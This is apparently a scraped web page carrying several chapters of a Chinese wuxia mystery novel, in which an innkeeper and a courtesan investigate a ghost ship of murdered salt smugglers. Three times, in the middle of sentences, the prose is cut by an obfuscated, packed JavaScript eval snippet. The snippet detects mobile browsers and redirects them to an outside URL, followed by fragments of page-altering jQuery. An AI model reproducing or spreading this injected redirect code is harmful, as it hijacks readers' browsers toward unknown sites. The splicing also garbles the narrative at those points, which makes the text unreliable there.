“快些坐下，我灶上正温着玉尘酿，正巧给您暖暖身子。”岑立雪引王捕头至堂中方桌坐下，任他一碗接上一碗。 烈酒下肚，王捕头面色红润些许，絮叨起衙门诸事。岑立雪含笑听着，时而附和，思绪却如静水投石，波澜暗生。 不多时，王捕头将酒碗重重一磕：“真是老天要作弄我王盟，城外漕运码头屡屡出事！” “哦？”岑立雪为他续上酒，假作不经意，接过话头，“可又是盗抢？这漕帮未免太不济事。” “比盗抢邪乎！”王盟啐了一口，“今儿后晌，码头游来一条空船，随波晃荡，不见人收。弟兄们觉着不对，上去一瞧，舱里头横七竖八躺了好些尸首，都是些私盐贩子，死状奇诡，捆缚结实，十足的祭神阵仗。” “消息出了码头，不知怎的就传成‘鬼船索命’，人心惶惶，是以巡夜的活计也繁重不少。” “辛苦捕头。”岑立雪执壶之手稳如磐石，然心念微动。鬼船索命自是无稽之谈，然“祭神”二字，却令她想起金开轩里那位“玉面佛”。该人大开杀戒前惯将苦主捆缚，燃香画符告之神灵，只当平息杀孽。 “竟有此事？您千万多加小心。” “自然，”王盟重重叹气，“可上头催得紧，只道莫要耽误漕运。掌柜近日可要留神，私盐贩子背后乱得很，若是仇家上门，保不齐又要牵连无辜。” “晓得了，谢您提点。”岑立雪口中应下，转念一想，王捕头滔滔不绝，却对云韶府白日刺杀只字未提。是消息已被易枝春按下，还是府衙别有考量，不欲声张？ 送走王盟，岑立雪回了后院。风雨消停，她和衣而卧，耳畔唯有更漏滴答。鬼船，盐枭，祭神……诸般线索盘旋脑海，无一不扰她安寝。 先是金开轩刺杀易枝春不得，后有鬼船案疑出玉面佛之手。泮安城的水，只怕是浑得很。 岑立雪心一横，探手入怀，青玉沁凉直透心扉。今夜注定睡不安稳，易枝春这条船既已放桨，不如从速登了。 她换了身深青夜行衣，发髻牢牢挽紧，而后悄然翻出酒肆后院，融入沉沉夜幕。 * 纵然夜色已深，云韶府亦丝竹不歇。岑立雪亮出玉牌，面生门房看清云纹，立时恭敬行礼，领着她从一隐秘路径往阳春阁去。 泮安素传云韶府头牌一诺千金，易大家还真是不负盛名。岑立雪失笑，她不过松散使了几招，他这报恩信物倒是货真价实。 手中青玉仿佛沉上几分，岑立雪掂了掂，便端起笑脸，踏入阳春阁。阁内灯火通明，浓重檀香浮于空中，却仍压不住残存血腥。仆从正更换破损陈设，步履轻悄，显然有功夫傍身。 “云韶府还真是卧虎藏龙。”岑立雪朗声笑道。 “不及岑掌柜万一，”易枝春仍着天青直裰，安然坐于窗畔榻上，遥遥朝岑立雪举起杯盏，笑意浅淡，“掌柜去而复返，可是易某招待不周？” “深夜叨扰易大家，是立雪唐突。” “掌柜言重了。您既救我一命，便是云韶府恩人，恩人到访，何来得罪之说？” “不知掌柜此行，所为何事？” 岑立雪步履从容，行至易枝春身前站定，开门见山：“立雪得了则骇人消息，恐其与易大家相干，夜不能寐，特来相告。” “哦？”易枝春挑眉，“掌柜请讲。” “城外漕运码头鬼船载尸，死者皆是私盐贩子，”岑立雪嗓音平稳，“据悉，尸体死状奇诡，状若献祭。” 她住了口，抬眼凝神，只见易枝春面上笑意分毫未减，眸光却蓦地沉静下去。 “江湖传闻，金开轩有一杀手，人称玉面佛，此人素喜虐杀，凡是动刀必然祭神，以示‘仁慈’，”岑立雪缓缓道来，又自怀中取了油纸包，当着易枝春打开，露出乌黑沉实索魂针，“加之此物……易大家，您的麻烦，恐怕不是偶然，亦非我帮一把便能终了的。” 易枝春只扫一眼索魂针，目光便又落在岑立雪面颊，探究之意毫不遮掩。他并未追问鬼船案始末，反而平和道：“掌柜夜半前来，示警献诚，在下感怀。” “只是，掌柜分明意在知府，而今费尽周折与我交游，可是为了……” “南氏灭门一案？” 岑立雪心中冷笑，并不如何意外。薛启岩其人清高，除开南氏一案旧物悬赏，与市井再无瓜葛。他易枝春并非愚笨无知之辈，自然想得透这一层。 撇开此问不答，岑立雪一抱拳：“消息带到，信与不信皆在大家。夜已深，立雪言尽于此，不多打扰。” 话音落下，她作势欲走。 “留步。”易枝春适时言声，手中杯盏轻轻搁在案上，“掌柜好意，在下心领了。然交游贵在坦诚，您如此关照南氏旧案，总归有个缘由。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823579|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岑立雪转过身。她行走江湖多年，近来又常听酒客谈笑，是以舌尖一颤，便可衔来泮安秘闻。编个缘由，自是信手拈来。 她眼神微黯，挥退仆从：“易大家既有疑虑，立雪便直言相告。我少时曾随家父走镖，途经苍云岭，不幸遭悍匪劫道，伤亡惨重，我亦气息奄奄。” “幸得游方郎中路过施救。草药针灸治疗数日，方为我保下一命。” “恩人医术高明，心肠仁善，不仅未取分文，我问他姓名来历，他也只笑称医者本分，不足挂齿。” “后来，我于机缘巧合之下得知，恩人所施针法，乃南氏绝学。” 岑立雪感念神情不似作伪，毕竟所言不算全然诓骗。她的确曾被一郎中搭救，也始终感念于心。然其针法身份未明，此番只为将“恩情”转嫁南氏一族，好为彻查旧案找个抓手。 “如今南氏满门遭难，恩人恐已……” “立雪听闻薛大人近日重查此案，便也想尽一份力，以告恩人在天之灵。还请易大家成全。” 易枝春静静听着，眸光几番变幻，终究归于平静：“原来有此渊源。掌柜重情重义，在下佩服。” 他话锋一转：“说来也巧。薛大人对此案确然挂心，奈何公务繁忙，且诸多场合不便亲自出面。云韶府此地客来客往，便于探听消息。故而薛大人亦将少许旧案托付于我，南氏案便是其一。” “不瞒掌柜，云韶府虽有些门路，但风月场本就步步惊心。金开轩如附骨之疽，鬼船之事亦扑朔迷离……眼下，我确实需要掌柜这样一位朋友。” 天下哪来的无端馈赠？若是做笔交易，反倒更令人安心。岑立雪指尖隔空一点案上索魂针，了然笑笑：“好。依今日情形观之，易大家处境，似乎比立雪紧迫许多。” 谈判筹码重归平衡，易枝春许是少见市井习气，头回棋逢对手，也轻笑出声。 “岑掌柜快人快语。既如此，你我便结为同盟，各取所需，如何？” “立雪荣幸，”岑立雪行礼，“谢大家提携。” 易枝春从善如流：“既同舟共济，再拘于谦敬未免生分。在下表字‘平洲’，惊寒但称无妨。” 岑立雪一怔。她表字“惊寒”鲜少示人，易枝春却仿佛早已熟知。至于“平洲”二字，较之枝头春色，倒是更合其人。 “平洲兄眼观六路。” “泮安少有秘密，”易枝春牵回正题，“薛大人日理万机，非寻常得见。惊寒日后若有发现，可由我代为转达，或另觅时机，会面商谈。” 攀上这梯便是好的，来日方长，岑立雪并不贪心：“好。” 盟约初成，缔结者各怀心思，可不是脆若琉璃？然二人确有同样期许，饶是面和心不和，也得以令其暂且稳固。 易枝春踱回窗边，仰首望天穹之上明亮星子：“承蒙信任，当示诚意。明日卯时，府衙殓房，你我一同验看盐枭尸首。” “谢平洲兄，定准时赴约，”岑立雪应得干脆利落，敛了索魂针便不再多言，“告辞。” 她转身离去，步履沉稳，背脊挺直如松。 戏台已起，你方唱罢我登场。泮安此城，终将因岑立雪今夜之举，轰然再起风云。 5. 鬼船盐枭（一） 天光破晓，泮安城于湿润晨雾中缓缓苏醒。 岑立雪大敞酒肆，同邻里街坊笑谈如旧。昨夜刀光剑影，尽已被朗朗日光照个干净。只怀中所揣青玉，沉甸甸硌在心头，省她前路已有崭新天地。 堂内人声渐起，酒客唾沫横飞，十句里九句绕不开漕运码头鬼船。 “听说了么？那船是子时三刻自个儿飘来的，船头不见灯盏，舱里满是邪祟，骇人得很！” “何止！我家那个在码头做事，归家时后襟满是冷汗，说是尸首面上带笑！你说邪不邪门？” “怕不是水鬼寻替身，索了盐枭命去？” 怪力乱神之语有如野草疯长。岑立雪分神听着，手里算珠脆响不断，心中却是一派清明澄净。什么水鬼索命，不过是有人借邪祟之名，行灭口之实，兼惑乱人心。 岑立雪环顾堂内，不多时便着意东南一桌。那边坐了几个漕帮汉子，正就着酱牛肉大灌玉冰烧，神色无不阴沉萎靡。 拎起一壶新烫的琼尘酿，岑立雪面颊堆起热络笑意：“几位客官瞧着面熟，想来时常照顾小店生意。六出新酿，滋味厚，给诸位尝尝鲜，算我请客。” 酒液一线落入碗中，香气四溢。 为首的壮硕汉子抬起醉眼，见是掌柜亲至，面色稍霁，瓮声道：“多谢掌柜的！咱哥几个近日大犯灾星，是以少不了来六出顺气。” “何事烦扰至此？”岑立雪顺势坐下，面露关切，“可是码头活计出了岔子？” 另一黧黑汉子重重一搁酒碗，骂道：“眼看码头就要赶上阎罗殿了！” “一艘破船闹得人心惶惶，巡检司那帮孙子查得紧，弟兄们搬卸束手束脚，耽误多少营生！” “谁说不是？”岑立雪皱眉叹道，“漕运大乱，我六出亦受波及。遇难盐枭着实不幸，竟遭了这出祸事。” “万事皆有定数，”壮硕汉子眼中醉意散去几分，透出些江湖人的精光，“掌柜的有所不知。死的那几个，是黑水帮人。” “前些日子，这黑水帮不知走了什么狗屎运，搭上条新线，风头正劲。嘿，这下可好，乐极生悲了罢！” 新线？ 岑立雪心头一动，故作讶异道：“泮安地界，还有越过诸位老行尊的新山头？” 那黧黑汉子左右看看，凑近些：“别的姑且不提，黑水帮倚仗的那条‘窜天蛇’，手段可是独一份狠辣，他路子奇野，神出鬼没，至今无人得见真容。” “做什么长他人志气！”壮硕汉子大骂，“鬼船一出，我瞧这孙子再跳不了几天。寻常盐枭皆走水路，他偏要往天上蹿，跃不过龙门，可不得灰溜溜跌回泥坑。” 黑水帮，窜天蛇。岑立雪将此名号在齿间滚过几遍，牢牢记下。她陪同感慨片刻，见再问不出更多，便借口招呼旁人，起身离开。 倚在柜旁，岑立雪心念电转。这窜天蛇行踪诡秘至此，不知可与幕后真凶牵丝攀藤？ * 辰时末，岑立雪依约赶往府衙。 她并未即刻踏入，而是于街角驻足。不过少顷，便见一顶不起眼小轿落在府衙地户，下来的正是易枝春。 他今日换了身墨绿常服，以玉簪松松绾发，添了几许清雅。 到底是风月场待久了，外出查案亦是一副酬酢派头。虽心里嗤笑，岑立雪还是爽利招呼道：“平洲兄。” 易枝春微微颔首，眉眼含笑，一切尽在不言中。他显然已有打点，一瘦小衙役行罢礼，便引着二人入了府衙，穿过回廊，往殓房去。 甫一推门，酸腐血腥便扑面而来，激得她胃腹翻涌。岑立雪正欲运内力压下，却见易枝春微振袍袖，抖落出少许莹白药丸。 “惊寒且慢，”他先行含服一枚，才将剩余递了她去，“压在舌底，辟秽静心，可顶得半个时辰。” 岑立雪接过丢进口中，顿觉清冽直冲天灵，周身浊气尽散，通体舒泰。 “谢平洲兄体恤。” “小事。” 屋内长明灯摇曳，数具覆布尸首陈于石台，森然可怖。一仵作垂手侍立，见易枝春至，双手呈上纸笺：“易先生，此乃验尸格目。” 岑立雪默然。易枝春不单出入府衙自如，连仵作也这般恭谨，薛知府对其信任，可见一斑。 易枝春阅罢，传至岑立雪：“请看。” 格目记载，死者均为男性，伤不在喉间便是心口，皆乃一刀毙命。旁附船舱绘形，以呈尸首方位。据仵作所言，此六人曾被绳索捆缚，双臂反剪，以跪伏之势朝向河流，确似献祭仪轨。 “有劳。”易枝春温言遣退仵作，房门合拢，一时满室死寂。 “并非玉面佛所为，”岑立雪率先开口，“此人张狂无度，素以虐杀为乐，从不遮掩，唯恐世人不知其名。一刀毙命，不是她的做派。” 易枝春未置可否，行至一具尸身前，揭开白布。死者面色青灰，双目圆睁，口微张。岑立雪随之上前，见他隔着素帕压上尸身创口，便执起尸身手掌细看。 此人虎口处生有厚茧，指节粗大，确是常年撑篙引缆之相。 “刀法极准，力道妙至毫巅，非数十年苦功不可为，”易枝春指向尸体腕踝处深紫淤痕，“捆绑之时，人尚醒着。想来凶手意在囚困，不急于取其性命。” 岑立雪移步至殓房正中，唯此具尸身以黑布包裹，想来必有不同。她扬手一掀，正露出底下纵横交错绳索。 原是为留证。 她蹲下身，细瞧尸身双腕死结。绳结繁复，并非寻常市井猪蹄扣或漕帮八字结，绳头以特殊技法穿梭回绕，盘作梅花之形。 “平洲兄。”岑立雪唤道。 待易枝春抬眼望来，她食指虚点绳结，语气笃定：“此结名唤‘落梅煞’，是南洋海盗手癖，以牢固难解著称。” “观此绳路颇为规整，力道均匀，绝非玉面佛那等随性杀手可为。” 易枝春听罢，面沉如水。他深深望一眼岑立雪，又自袖中取出泛黄纸笺，缓缓抻开。 其上墨迹因年岁久远而模糊，依稀可辨一双反缚手臂。而其腕间所系绳结，赫然与落梅煞如出一辙！ “此乃南氏仆役尸身拓印。” “据旧案仵作所言，此结怪异，无人能识，是以一搁五年。” 殓房内落针可闻。灯焰圈起二人挺拔身影，投上盐枭尸首。 岑立雪只觉耳中嗡鸣，眼前似有金星炸开。落梅煞有如钩锁，生生跨越数年光阴，就此拴起三桩血案。 是了，鬼船案若与南氏案同源，自然也与她无锋门血仇脱不开干系！ 她合上双目，长长吐出浊气。追索不歇，日夜锥心，而今无需再多言语，铁证已成惊雷。再抬眼时，翻涌思绪皆被压下，岑立雪眸中只余决绝。 易枝春将拓印收回袖中，不再多言。二人默契查验过其余尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823580|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身，未再有旁的发现，足见凶手行事老道，周密无遗。 是时候返程了。 岑立雪推开殓房门。天光大亮，日头泼洒暖融光晕，清风拂面，然吹不散心头阴霾。 她正欲跨过门槛，忽闻府衙廊柱后窸窣作响——有人！ 岑立雪身形立动，她未及知会身后易枝春，便足尖点地，直朝廊柱奔去。其势之疾，宛若飞鸿。 窥伺者反应亦是快极。只见灰影鬼魅般一闪，并不接战，反而借力蹬上廊柱，身形朝府衙外墙猛掠。 此人身法极为诡异，岑立雪心下一凛，内力疾催，将轻功提至极致，紧咬不放。两道青烟掠过重重屋脊，转眼已至府衙边缘。 眼看距离拉近，岑立雪探手欲抓对方肩胛，那灰影却头也不回，反手一扬。岑立雪飞身以接暗器，哪料一撮刺鼻粉末迎面扑来！ 岑立雪虽即刻闭气，然此物亦刁钻入息，轻功就此一滞。灰影则泥鳅般滑入狭窄巷道，七拐八绕，顿时失了踪影。 岑立雪立于墙头，未再追击。她摊开手掌，指尖不染丝毫颜色，只留有甜腥之味。细嗅之下，隐隐缠绕一丝清苦气息。 竟是断续藤！ 她立在原地，内心挣扎如潮涌。此人对地形何其熟悉，显然有备而来，再追恐是徒劳。况且，这断续藤……她是该坦诚告知易枝春，引他一道细究身畔隐患？还是暂且按下，自行暗中调查？ 片刻权衡，岑立雪已然决断。同盟既成，此刻当需协力。若是因猜忌而欺瞒，恐再贻时机，正中窥伺者下怀。 她足尖再点，原路折返。易枝春仍立在殓房前，见她归来，却不忙问窥视者去向，只道：“惊寒可曾伤着？” “不曾，”她单刀直入，“此人身法诡谲，朝我撒一把药粉便借势溜走。平洲兄，若我所嗅不错，那药粉里，掺了断续藤。” 易枝春眸色一深，沉默片刻，方低声道：“我知晓了，此事云韶府自会细细盘查。” “惊寒，多谢。” 交谈间，廊道尽头传来脚步，正是王盟王捕头携一卷文书匆匆行来。 “岑掌柜，易大家？”王盟一愣，面露诧异，“您二位……怎会在此？” 与云韶府清倌同现府衙重地，着实惹人疑窦。岑立雪正思忖如何应对，然而不等她开口，易枝春便神色自若对王盟一揖。 “王捕头来得正好。方才易某在此与薛大人回话，恰逢岑掌柜往府衙送酒，便顺路同行。” “听闻泮安才出鬼船大案，岑掌柜心系漕运安稳，关切几句。在下正与她分说案情概略，免得市井流传，以讹传讹，徒增慌乱。” 王盟憨笑：“原来如此。掌柜的放心，府衙定当全力查案，必不叫宵小之辈再起乱子。” 他眼神在岑立雪与易枝春之间一转，虽无促狭，却也添上几分了然笑意，寒暄过两句，便匆匆离去。 岑立雪暗松一口气。易枝春这番说辞，既全了场面，又无过分牵扯，分寸拿捏得恰到好处。 只是…… 她不由瞥向身侧。易枝春已然云淡风轻，仿佛方才危机不过虚妄。许是见岑立雪投来目光，他还轻轻弯了薄唇，报以抚慰笑意。 人在江湖，信义何其奢侈。断续藤所留之刺，尚未可知何时拔除。 前路艰险，借力不过权宜之计。岑立雪暗道，与其寄情旁人，不如持正自身，于重重迷雾间斩出血路。 6. 鬼船盐枭（二） 离了府衙那阴森殓房，日头已升得老高，晨光泼洒，明晃晃浇了泮安街头巷尾。 左右酒肆有伙计看顾，岑立雪不急归返，只寻了个僻静处，飞快打散发髻，换上一早备下的粗布衣裤，又朝脸上抹了些灰尘。 她步履拖沓，肩背微佻，斜挎只空鱼篓，俨然一个上了岁数的渔妇。 准备停当，岑立雪悄无声息汇入人潮，只身以赴码头喧嚣。 泮安城北，漕运号子织成面嘈杂大网，同浓郁鱼腥兼汗酸一道扑上岑立雪面颊。 她压低路上购得的斗笠，目光则锐利如雌鹰，于忙碌力夫与密匝匝船只间不住扫视。 游逛许久，岑立雪从怀里摸出铜钱买了碗凉茶，她盘坐在地假意休憩，双耳却忙接着不远处中年力夫的闲谈。 “黑水帮这回算是栽了个大跟头，六个好手，说没就没了。” “听说窜天蛇还没有动静？不应当啊，依他的性子，怎么能忍下这口气？” “噤声！那位的名头也是你我能提的？小心祸从口出。” 岑立雪心下一动，挨近了些，窝在几人上风口处，边饮茶边唉声叹气：“这年头，想贩点鱼虾糊口也是艰难得很。码头近来不太平，白天生意不好做，夜里更是不敢来。” 方才提起窜天蛇的大嘴巴瞥她一眼，瓮声瓮气道：“夜里才是大进大出的时候！你这阿婆有所不知，赚了大钱的船，专挑月黑风高时辰靠岸。” “嚯，”岑立雪适时缩了肩膀，不待他同伴出言提醒，便颤声发问，“什么船这样玄乎，总不会是又一艘鬼船罢？” “哪里有什么鬼船，”大嘴巴洋洋得意，“快蟹船是也。吃水比寻常货船深得多，来去如同水蛇，悄无声息！” “同外人提这些做什么？” “一个贩鱼婆子罢了，有什么好提防的。” 岑立雪懵然称是，将快蟹船名号牢记，再度试探：“小哥这般见识，想来那船上用的，也都是您这样的好手了？” “非也非也，我是够精壮，可惜长了张好嘴，”大嘴巴揽上同伴肩背，压低嗓门，眼珠里透出些许忌惮，“快蟹船那帮人啊，邪性得很。干活时屁都不放一个，手脚倒麻利得不像话，活脱脱一群哑巴牲口！” “莫说与之相比了，啧啧，光想想就叫人脊梁骨发寒。我看，也只有天上那一位降得住了。” “天……天上那位？这鱼我不贩了，性命要紧！”岑立雪慌张饮尽碗中残茶，挎起鱼篓，踉跄挤进人群。 她弓了身，正思忖如何再探，谁料一股遭人窥视之感蓦地爬上脊背。眼风如刀，岑立雪迅捷刮了周遭，最终盯上码头西南那排吊脚楼。 虚掩窗扇之后，似有影迹倏然隐没。 * 于吊脚楼上探察几回，岑立雪仍是一无所获。这边耽搁许久，待她归返六出酒肆，已是午后。 堂内热闹如昨，然随着岑立雪现身，声浪便骤然低伏下去，只余下寥寥数言。先前多嘴的酒客同她对上眼神，无需招呼，当即端起酒碗大灌起来。 岑立雪不动声色，却也有了些许猜测。想她纵横江湖二十余年，竟也有成为他人佐酒谈资之时。岑立雪一笑置之，径自拾掇起账目。 她才垂了眼，王盟便醺然踱进酒肆。捕头哼着小曲，满脸喜色，晃晃悠悠坐进老位子，却破天荒不急着喊酒。 “掌柜的，您交了好运，我也跟着沾光，”他嘿嘿一乐，“往后府衙啊，想必是断不了六出美酒了。” 岑立雪一怔，清晨易枝春所言不过托辞，如今却落到实处，想来是他从中转圜。洒扫伙计迎上岑立雪问询目光，只往城西一指，又笑着冲她眨了眨眼睛。 岑立雪颔首，催过伙计安分做事，便拎起雪涧香，前去为王盟斟满：“劳王捕头挂心，不过是些酒水往来俗务。” “掌柜哪里话，”王盟脸上褶子里满是过来人的戏谑，“今早我可是瞧得真切。易大家那般人物，温文知礼，待掌柜更是与众不同。” “如此一来，六出云韶，好事将近喽！到时候，岑掌柜可别忘了给我等留杯喜酒！” 他嗓门本就洪亮，这番话又未刻意收敛，满堂立时鼎沸。不少同岑立雪相熟的老主顾都站起身，朝她拱手道上恭喜。 岑立雪眉梢一扬，神色不见半分羞赧，反绽开无奈笑意：“您这话可冤煞立雪了。” “我往府衙不过是为送酒，恰巧同易大家碰上，便同行了一段。怎到捕头嘴里，却成了桩风流官司？” “云韶府我六出可惹不得。易大家清誉要紧，这等玩笑莫要再开了。” 话音未落，后厨帘子一掀，岑立雪收留的孤女端着新卤牛肉走了出来。 不过几日工夫，韦安翎这丫头气色眼见红润，步履也稳当不少。岑立雪欣慰之际，小姑娘拧起眉头，将碟子往桌上不轻不重一放。 “王捕头！”这一声唤得清亮，不单捎着少女未褪稚气，更是严肃认真，“鬼船案一出，掌柜的四处奔走打点，劳心劳力，眼睛都熬红了！” “您是掌柜老友，不说追查真凶，亦不体谅她难处，反倒拿这些没影儿的事打趣，岂是官差正道？” 知恩图报，不怯不狂，是个好孩子。岑立雪弯起眼眉。 驳斥如甘泉击石，堂内那点窃窃私语顿时歇了。王盟被个小姑娘当众顶撞，面上有些挂不住，讪讪摸了把鼻子：“我……我不过随口一说……” 岑立雪抬起手，轻轻按上韦安翎肩头，示意她稍安，转而环顾堂内，语调平和却自有千钧：“翎儿心直口快，捕头莫怪。” “泮安临水，生计皆系在漕运上。如今码头风波未平，六出能开门迎客，全仰仗诸位邻里帮衬。” “立雪所为，但求问心无愧，保这一方酒肆平安罢了。” 她这一番剖白，倒真将风月闲谈拨回了实实在在的营生安危。 堂内酒客神色各异，不乏恍然或讪讪之辈。有心直口快的同岑立雪道过歉，不多时，众人话头渐渐又落回了鬼船盐枭上。 * 流言蜚语不过蚊蚋，嗡过便散，不足挂念。 夜色如墨，浸染云韶府檐瓦，岑立雪手持玉牌直入。阳春阁内仅孤灯一盏，笼起易枝春沉静侧影。 屏退左右，阁中唯二人对坐。 岑立雪开门见山，将码头见闻和盘托出，尤其点了那艘神出鬼没快蟹船。 易枝春凝神听着，指尖原虚搭于案，此刻也微微收拢。 “快蟹船造价不菲，非巨贾大势不可置办。哑巴力夫行止划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823581|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一，条律严明，窜天蛇如此操练，绝非寻常盐枭。”灯火于易枝春眸中跃动，映出深沉思量。 “白日里，我已查阅近日盐税并货运文书。想来私盐数目庞大，其利惊人。” 岑立雪冷笑：“便足以蓄养死士，勾结贪腐。可不窜上天去？” 易枝春颔首，继而朝她投去歉疚一瞥：“惊寒，凡能触及断续藤的仆从，我皆已排查，嫌疑圈定在寥寥数人身上。只是，眼下尚缺实证，不好妄动。” 线索如雾中蛛丝，看似分明，触手方知千头万绪，纠缠难解。岑立雪压下心头焦灼，深知此事急切不得。 恰在两人相顾无言之时—— “咄！”一声闷响。似有湿重黏腻之物砸上窗纸，力道之大，连窗棂都震颤不已。 易枝春袖袍一拂，灭了案上灯烛。岑立雪飞身而起，探手入颈后，抽出一柄霜色软剑。她屏息移步，悄然隐于窗侧帷幔影中。 二人对视一眼，皆凝立不动，侧耳细听。然窗外只余夜风穿过庭中玉兰的细微呜咽，再无他响。 岑立雪猛然发力，提剑一刺，轻易豁开支摘窗。 月光如水倾泻，圈起一尾僵硬死鱼。鱼鳞已脱落大半，底下皮肉惨白，鳃盖亦是大张，直露暗红鳃丝。其间呛鼻气味炸开，霎时盈满阳春阁。 腐臭难当之下，岑立雪却顾不得闭气，易枝春亦住了递上药丸的手。盖因麻绳捆缚鱼身，穿梭缠绕，打的正是那阴魂不散的落梅煞！ 寒意自岑立雪前额窜起，瞬间通达四肢百骸：“昨日才验过尸身，今日此结便高悬眼前。” “平洲兄，他这可是来告知，我等行踪尽在其掌控之中。” 易枝春不语，上前一步，以帕剥开大张鳃盖。鳃丝深处，一枚油纸团缩于其中。 “我来。”岑立雪剑尖轻巧一拨，将那纸团剔出，搁上桌案。她展开油纸，其上墨迹已被鱼鳃血水晕开大半，模糊难辨。 “是我前晌所阅文书。”易枝春细看过，如是说。 岑立雪抬起头，眸光如雪夜寒星，不见惊惶，唯有凛然：“越是如此，越显其心虚气短。” “他此番出手，想必已对你我所为心知肚明。云韶府尚有高墙，六出不然……惊寒往后须得再谨慎些。” “高墙又有何用？”岑立雪笑道，“平洲兄莫要忘了，索魂针并这死鱼可都是在阳春阁截下的。” 易枝春闻言，非但不恼，反而跟着自嘲一笑。烛火虽灭，皎皎皓月也映得出他眼底坦然。 “惊寒所言极是。索魂针，断续藤，乃至今日落梅煞，桩桩件件，皆指易某身侧……” 岑立雪指桑骂槐：“行事拙劣，处处留痕，幕后之人实在愚不可及。” “惊寒见笑了，”易枝春听出她弦外之音，竟也不恼，只温和递上几只锦盒，“行艺多年，得了不少珍奇药物，留在阳春阁也是无益，便赠与你罢。” 岑立雪谢过，悉数收下，不由暗叹易枝春此人上道。 诚然，她本就心如明镜。若易枝春真是布局之人，何须绕这许多弯路。真凶所求，不过他们自相残杀，岂能合其心意？ 岑立雪指腹擦过剑锋，鱼腥萦绕不散，正似淬刃之火。下一回，落梅煞捆缚之物，便是这幕后小鬼咽喉了。 7. 鬼船盐枭（三） 死鱼由落梅煞所缚，不啻为一记重锤。岑立雪为防窥伺者再有异动，便于阳春阁客室将就了一晚。 拂晓时分，勘实并无异样，她便趁着云韶府客稀之际悄然离去，归返六出。 换了身天青布裙，岑立雪如常卸下门板，督促伙计洒扫庭除，只眼底较往日添了几分审慎。 “翎儿，过来。”她叫住忙着擦洗板凳的韦安翎。 韦安翎以衣袖胡乱揩过汗水，快步行来：“掌柜的，有何吩咐？” 岑立雪五指探入柜下，自零碎物什中翻找，不多时便拎出一短匕。其刃隐有寒光，是柄锋锐家伙。 “这个你接着。” “近日城里不太平，你带着它，也叫我少操份心。” 韦安翎怔了怔，双手接了短匕，抬眼时眸中隐有泪光。她将其贴身收好，又隔着衣料按了按，用力点头：“翎儿省得，掌柜的放心，您外出奔走之时，翎儿定然护好六出。” “傻话，这差事还落不到你肩上。”怎就叫她想到这一出，岑立雪哭笑不得，为韦安翎理一理鬓发，便叫她去忙了。 * 日头渐高，酒肆愈发喧嚷。岑立雪一面招呼熟客，一面留神堂里动静。不多时，便瞧见个古怪的生面孔。 此人约莫二十出头，衣衫面料不凡，然配色极为扎眼，腰间玉佩更是堆得繁复，走起路来叮咣乱响，着实俗不可耐。他点的尽是店里昂贵酒菜，出手阔绰之余，还总拉着跑堂或邻座酒客攀谈，言语间不乏吹嘘。 岑立雪旁观半晌，只觉这花孔雀有意打听各路消息，似在寻觅什么机会。 心里有了计较，岑立雪却并未上前，而是先去后厨包了份酱牛肉，提着它往四海当铺去。 当铺里赵青卿正就着碟花生米独酌。见岑立雪进来，也不起身：“今日怎有空过来？” 岑立雪将油纸包搁在小几上：“牛肉才卤好，立雪便送了来。尚热腾的，您且就着下酒。” “实不相瞒，此来亦是有事讨教。酒肆来了个面生客官，年纪不大派头倒足，一坐下便四处探听，甚是活泛。” 赵青卿大嚼过牛肉，慢悠悠开口：“丫头，你这六出，如今可是泮安福地。终日迎来送往的，来个把生人又有什么稀奇。” “怎的，可是才搭上云韶府，便瞧不上这些小鱼小虾了？” 岑立雪知她打趣，也不辩解：“掌柜说笑了。立雪只觉此人行径怪异，怕是别有所图，扰了店里清净。” “鬼船案尚未落定，谨慎些也是好的。你说那人，若是着绛紫团花袍子，眼尾上挑，贼头贼脑，多半是黑水帮刘老四远房表侄，钱串子。” “刘老四将才折在了鬼船上，这小子便上蹿下跳，只求物色阔气主顾，向主子一表忠心，好接他老叔的班。” 钱串子，黑水帮？真是得来全不费工夫。 岑立雪心下豁然：“原来如此，多谢赵掌柜指点。看来是我多心了。” “是不是多心，你自个儿掂量。”赵青卿意味深长扫她一眼，不再多言。 问清钱串子来路，岑立雪不再逗留，行过礼便起身回了六出。 她如常游穿于各桌之间，同相熟酒客寒暄。聊至近日营生，岑立雪叹了口气，嗓门不大不小，恰叫邻近几桌听得清楚：“可不是么，如今这世道，做生意也成了难事。” “我有个表亲打南边来，家里有绸缎生意，此次带了重金，想打通泮安至北地商路。奈何我这酒肆与之不甚搭调，难有助力，她人生地不熟，寻不到可靠门路，正发愁呢。” 她讲话间，余光正收见钱串子执杯之手一顿，竖着耳朵喜形于色。 饵料已下，静待鱼虾上钩即可。 * 傍晚时分，酒客渐稀，那钱串子果然按捺不住，晃悠着凑到柜前。 